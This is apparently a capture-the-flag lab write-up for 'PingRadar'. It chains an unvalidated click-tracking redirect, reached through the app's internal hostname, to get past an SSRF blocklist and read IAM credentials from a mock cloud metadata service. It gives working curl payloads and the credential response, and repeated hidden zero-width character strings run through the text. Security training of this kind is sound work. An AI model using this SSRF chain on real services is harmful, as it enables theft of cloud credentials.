← Back to Writeups
CUSTOMMediumWeb

Lab 91 — PingRadar — SSRF Filter Bypass via Open Redirect Chain

XESXOR9/10/20265 min read
#web#custom#medium#cloud_metadata_access#hostname_allowlist_bypass#redirect_chain_bypass#ssrf_via_open_redirect#unvalidated_redirect_destinati#linux

Lab 91 — PingRadar — SSRF Filter Bypass via Open Redirect Chain

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-01 | Status: Solved Techniques: cloud_metadata_access, hostname_allowlist_bypass, redirect_chain_bypass, ssrf_via_open_redirect, unvalidated_redirect_destination

Summary

Task: PingRadar webhook platform has a Webhook Tester (SSRF vector) and an unauthenticated Click Tracking open redirect; SSRF blocklist blocks private IPs but not the app's own internal hostname. Solution: Chain the open redirect through the internal hostname to bypass SSRF filter — webhook tester fetches app.pingradar.local:8080/api/track which 302-redirects to localhost:3001 cloud metadata service, leaking IAM credentials containing the flag.

Lab 91 — PingRadar — SSRF Filter Bypass via Open Redirect Chain

Description

You are testing PingRadar, a webhook and notification management platform built by RadarStack Inc. Development teams use it to configure, test, and monitor their alert delivery channels across webhooks, email, and Slack integrations. The platform includes a webhook connectivity tester that lets you verify endpoint reachability before configuring live channels. It also provides notification event logging, click analytics for email notifications, and comprehensive API documentation. Your goal is to access sensitive cloud infrastructure data that should only be reachable from within the server's internal network. The application has security controls in place to prevent access to internal services — but pay close attention to how different features handle and process URLs. Some intended functionalities might interact in unexpected ways. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: PingRadar is a webhook and notification management platform. It has a Webhook Tester that makes server-side HTTP requests (SSRF vector) and a Click Tracking endpoint that performs open redirects. The SSRF filter blocks private IPs but not the application's own internal hostname. The goal is to access the cloud metadata service at 127.0.0.1:3001 to retrieve IAM credentials containing the flag.

Target: https://79a31c8d-8418-49bd-b1cd-98e333a6f66e.labs.hackadvisor.io/ Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Reconnaissance

After logging in with user@test.com / password123, explored the application and identified key features:

  1. Dashboard — Channel health monitoring for webhooks, email, and Slack integrations.

  2. Webhook Tester (POST /api/webhooks/test) — Accepts {"url": "...", "method": "GET|POST"} and makes server-side HTTP requests to the supplied URL. This is the primary SSRF vector.

  3. Click Tracking (GET /api/track?url=<encoded_url>) — An open redirect endpoint used in notification emails for click analytics. No authentication required. Performs an unvalidated 302 redirect to ANY URL, including internal addresses like http://127.0.0.1:3001/. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  4. API Docs — Reveals the internal hostname app.pingradar.local:8080 and documents the security policy: internal IPs (127.x, 10.x, 192.168.x, 169.254.x, localhost) are blocked in the webhook tester.

  5. Settings Page — Confirms the instance hostname is app.pingradar.local on port 8080.

  6. Events API — Shows tracked_url fields like http://app.pingradar.local:8080/api/track?url=https%3A%2F%2Fjira.radarstack.io%2F..., confirming the internal hostname and click tracking URL pattern. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  7. Decoy Flag — FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in hidden HTML on every page to trick automated scanners and LLMs.

Vulnerability Analysis

Three components interact to create the exploit chain:

ComponentRoleVulnerability
Webhook Tester (POST /api/webhooks/test)Makes server-side HTTP requestsSSRF — follows redirects without re-validating destination against blocklist
Click Tracking (GET /api/track?url=...)302 redirects to any URLOpen redirect — no validation on target URL, no auth required
SSRF BlocklistBlocks 127.x, 10.x, 192.168.x, 169.254.x, localhostIncomplete — does not block app.pingradar.local which resolves to the server itself
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key insight: The SSRF filter only validates the initial URL. When the webhook tester follows a 302 redirect, it does NOT re-validate the redirect destination against the blocklist. Combined with the fact that app.pingradar.local (the app's own hostname) is not in the blocklist, we can chain the open redirect to reach any internal service.

Attack Chain Diagram

Attacker                    Webhook Tester              PingRadar App              Cloud Metadata
   |                             |                          |                          |
   |-- POST /api/webhooks/test ->|                          |                          |
   |   url=app.pingradar.local   |                          |                          |
   |   :8080/api/track?url=      |                          |                          |
   |   http://127.0.0.1:3001/... |                          |                          |
   |                             |                          |                          |
   |                             |-- Validate URL ----------|                          |
   |                             |   "app.pingradar.local"  |                          |
   |                             |   NOT in blocklist ✓     |                          |
   |                             |                          |                          |
   |                             |-- GET /api/track?url= -->|                          |
   |                             |   http://127.0.0.1:3001  |                          |
   |                             |                          |                          |
   |                             |<-- 302 Found ------------|                          |
   |                             |   Location: http://      |                          |
   |                             |   127.0.0.1:3001/...     |                          |
   |                             |                          |                          |
   |                             |-- Follow redirect ------>|-- (NO re-validation!) -->|
   |                             |   GET /latest/meta-data/ |                          |
   |                             |   iam/security-          |                          |
   |                             |   credentials/app-role   |                          |
   |                             |                          |                          |
   |                             |<-------------------------|<-- IAM credentials ------|
   |                             |                          |    (contains flag)       |
   |<-- 200 OK with creds ------|                          |                          |

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Identify the SSRF Vector

The Webhook Tester at POST /api/webhooks/test makes server-side HTTP requests. Direct attempts to access internal services are blocked:

bash
# Blocked — 127.0.0.1 is in the blocklist
curl -X POST https://<target>/api/webhooks/test \
  -H "Content-Type: application/json" \
  -H "Cookie: session=<cookie>" \
  -d '{"url":"http://127.0.0.1:3001/latest/meta-data/iam/security-credentials/app-role","method":"GET"}'
# → Error: URL points to internal/private network
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Blocked — localhost is in the blocklist
curl -X POST https://<target>/api/webhooks/test \
  -H "Content-Type: application/json" \
  -H "Cookie: session=<cookie>" \
  -d '{"url":"http://localhost:3001/latest/meta-data/iam/security-credentials/app-role","method":"GET"}'
# → Error: URL points to internal/private network

Step 2: Identify the Open Redirect

The Click Tracking endpoint redirects to any URL without validation:

bash
# Redirects to any URL — even internal ones
curl -v "https://<target>/api/track?url=http://127.0.0.1:3001/"
# → 302 Found, Location: http://127.0.0.1:3001/

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Discover the Internal Hostname Bypass

From the API Docs and Settings pages, the internal hostname app.pingradar.local:8080 is disclosed. This hostname resolves to the application server itself but is NOT in the SSRF blocklist (which only blocks IP ranges and the string "localhost").

Step 4: Chain the Exploit

Combine the three findings: use the internal hostname to reach the open redirect, which then redirects to the cloud metadata service on localhost.

bash
curl -X POST https://79a31c8d-8418-49bd-b1cd-98e333a6f66e.labs.hackadvisor.io/api/webhooks/test \
  -H "Content-Type: application/json" \
  -H "Cookie: session=<session_cookie>" \
  -d '{"url":"http://app.pingradar.local:8080/api/track?url=http://127.0.0.1:3001/latest/meta-data/iam/security-credentials/app-role","method":"GET"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

What happens:

  1. Webhook tester validates app.pingradar.local:8080 → ALLOWED (not a blocked IP/hostname)
  2. Server fetches http://app.pingradar.local:8080/api/track?url=http://127.0.0.1:3001/latest/meta-data/iam/security-credentials/app-role
  3. The /api/track endpoint returns 302 Found with Location: http://127.0.0.1:3001/latest/meta-data/iam/security-credentials/app-role
  4. Webhook tester follows the redirect to 127.0.0.1:3001 WITHOUT re-validating the destination
  5. Cloud metadata service returns IAM credentials ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Retrieve the Flag

Response from the webhook tester:

json
{
  "success": true,
  "status": 200,
  "body": "{\n  \"Code\": \"Success\",\n  \"LastUpdated\": \"2026-02-25T08:14:37Z\",\n  \"Type\": \"AWS-HMAC\",\n  \"AccessKeyId\": \"AKIAIOSFODNN7RADARST\",\n  \"SecretAccessKey\": \"FLAG{REDACTED}\",\n  \"Token\": \"IQoJb3JpZ2luX2VjECkaCXVzLWVhc3QtMSJH...\",\n  \"Expiration\": \"2026-02-25T14:14:37Z\"\n}",
  "response_time_ms": 86
}

The flag is in the SecretAccessKey field of the IAM credentials. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍